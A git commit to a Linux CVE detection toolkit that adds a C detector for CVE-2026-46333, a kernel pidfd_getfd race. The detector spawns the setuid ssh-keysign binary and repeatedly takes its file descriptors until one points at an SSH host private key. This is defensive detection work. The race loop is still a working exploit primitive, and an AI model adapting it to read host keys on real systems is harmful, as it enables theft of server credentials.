commit dd2cf6cd26b843f6b6f4210c6623df5723d6f593
parent 0e3a33425094a5568fa6c2f74da987e86bd771e6
Author: finwo <finwo@pm.me>
Date: Tue, 19 May 2026 10:54:45 +0200
Add cve-2026-46333 detector
Diffstat:
2 files changed, 151 insertions(+), 4 deletions(-)
diff --git a/README.md b/README.md
@@ -4,10 +4,11 @@ A lightweight CVE detection toolkit for Linux systems.
## Detected Vulnerabilities
-| CVE | Alias | Details |
-| ----------------------------------------------------------------- | --------- | ---------------------------------------------------- |
-| [CVE-2026-31431](https://www.cve.org/CVERecord?id=CVE-2026-31431) | CopyFail | Kernel crypto initialization bypass via `algif_aead` |
-| [CVE-2026-43284](https://www.cve.org/CVERecord?id=CVE-2026-43284) | DirtyFrag | xfrm-ESP page-cache write LPE |
+| CVE | Alias | Details |
+| ----------------------------------------------------------------- | --------------- | ---------------------------------------------------- |
+| [CVE-2026-31431](https://www.cve.org/CVERecord?id=CVE-2026-31431) | CopyFail | Kernel crypto initialization bypass via `algif_aead` |
+| [CVE-2026-43284](https://www.cve.org/CVERecord?id=CVE-2026-43284) | DirtyFrag | xfrm-ESP page-cache write LPE |
+| [CVE-2026-46333](https://nvd.nist.gov/vuln/detail/CVE-2026-46333) | ssh-keysign-pwn | pidfd_getfd FD theft via mm-NULL dumpable bypass |
## Build
diff --git a/src/detector/cve-2026-46333.c b/src/detector/cve-2026-46333.c
@@ -0,0 +1,146 @@
+/*
+ * CVE-2026-46333 — ssh-keysign-pwn
+ *
+ * __ptrace_may_access() skips the dumpable check when task->mm == NULL.
+ * During do_exit(), exit_mm() runs before exit_files(), creating a window
+ * where pidfd_getfd(2) can steal FDs from a setuid binary that opened
+ * sensitive files before dropping privileges.
+ *
+ * Detector: spawn ssh-keysign, open a pidfd, race pidfd_getfd looking for
+ * an fd pointing at ssh_host_*_key. Success = vulnerable.
+ */
+#define _GNU_SOURCE
+#include <errno.h>
+#include <fcntl.h>
+#include <signal.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/syscall.h>
+#include <sys/wait.h>
+#include <unistd.h>
+
+#include "setup.h"
+
+#ifndef __NR_pidfd_open
+#define __NR_pidfd_open 434
+#endif
+#ifndef __NR_pidfd_getfd
+#define __NR_pidfd_getfd 438
+#endif
+
+static int my_pidfd_open(pid_t pid, unsigned flags)
+{
+ return (int)syscall(__NR_pidfd_open, pid, flags);
+}
+
+static int my_pidfd_getfd(int pidfd, int targetfd, unsigned flags)
+{
+ return (int)syscall(__NR_pidfd_getfd, pidfd, targetfd, flags);
+}
+
+static const char *SSH_KEYSIGN_PATHS[] = {
+ "/usr/libexec/ssh-keysign",
+ "/usr/libexec/openssh/ssh-keysign",
+ "/usr/lib/ssh/ssh-keysign",
+ "/usr/lib/openssh/ssh-keysign",
+ NULL,
+};
+
+int detector_cve_2026_46333(struct cve_context *ctx)
+{
+ const char *bin = NULL;
+
+ /* Locate ssh-keysign binary */
+ for (int i = 0; SSH_KEYSIGN_PATHS[i]; i++) {
+ if (access(SSH_KEYSIGN_PATHS[i], X_OK) == 0) {
+ bin = SSH_KEYSIGN_PATHS[i];
+ break;
+ }
+ }
+ if (!bin) {
+ /* ssh-keysign not present — not exploitable */
+ return 0;
+ }
+
+ /*
+ * Try up to 200 rounds. The upstream exploit uses 500; 200 is
+ * enough to be confident while keeping detector runtime reasonable.
+ */
+ for (int round = 0; round < 200; round++) {
+ pid_t child = fork();
+ if (child < 0)
+ return 0;
+
+ if (child == 0) {
+ /* Child: redirect stdio and exec ssh-keysign */
+ int dn = open("/dev/null", O_RDWR);
+ if (dn >= 0) {
+ dup2(dn, 0);
+ dup2(dn, 1);
+ dup2(dn, 2);
+ if (dn > 2)
+ close(dn);
+ }
+ execl(bin, "ssh-keysign", (char *)NULL);
+ _exit(127);
+ }
+
+ int pidfd = my_pidfd_open(child, 0);
+ if (pidfd < 0) {
+ waitpid(child, NULL, 0);
+ continue;
+ }
+
+ int hit = 0;
+ for (int a = 0; a < 30000 && !hit; a++) {
+ /* If the child already exited, stop hammering pidfd_getfd */
+ if (waitpid(child, NULL, WNOHANG) > 0)
+ break;
+ for (int fd = 3; fd < 32; fd++) {
+ int stolen = my_pidfd_getfd(pidfd, fd, 0);
+ if (stolen < 0)
+ continue;
+
+ /* Resolve the stolen fd to see what it points at */
+ char path[256] = {0};
+ char link[64];
+ snprintf(link, sizeof(link), "/proc/self/fd/%d", stolen);
+ ssize_t n = readlink(link, path, sizeof(path) - 1);
+ if (n > 0)
+ path[n] = '\0';
+
+ if (strstr(path, "ssh_host_") && strstr(path, "_key")) {
+ /* Found a host key fd — system is vulnerable */
+ if (ctx->verbose)
+ fprintf(stderr,
+ "[cve-2026-46333] vulnerable: stole fd %d -> %s\n",
+ fd, path);
+ close(stolen);
+ hit = 1;
+ break;
+ }
+ close(stolen);
+ }
+ }
+
+ close(pidfd);
+ waitpid(child, NULL, 0);
+
+ if (hit)
+ return 1; /* vulnerable */
+ }
+
+ /* No hit after all rounds — likely patched */
+ return 0;
+}
+
+__attribute__((constructor))
+void detector_cve_2026_46333_setup(void)
+{
+ detector_queue_append("CVE-2026-46333", "ssh-keysign-pwn",
+ "Update the Linux kernel to >= 31e62c2ebbfd (2026-05-14) or later.\n"
+ " No per-binary workaround is effective — the flaw is in the\n"
+ " kernel's __ptrace_may_access() and affects any setuid binary.",
+ detector_cve_2026_46333);
+}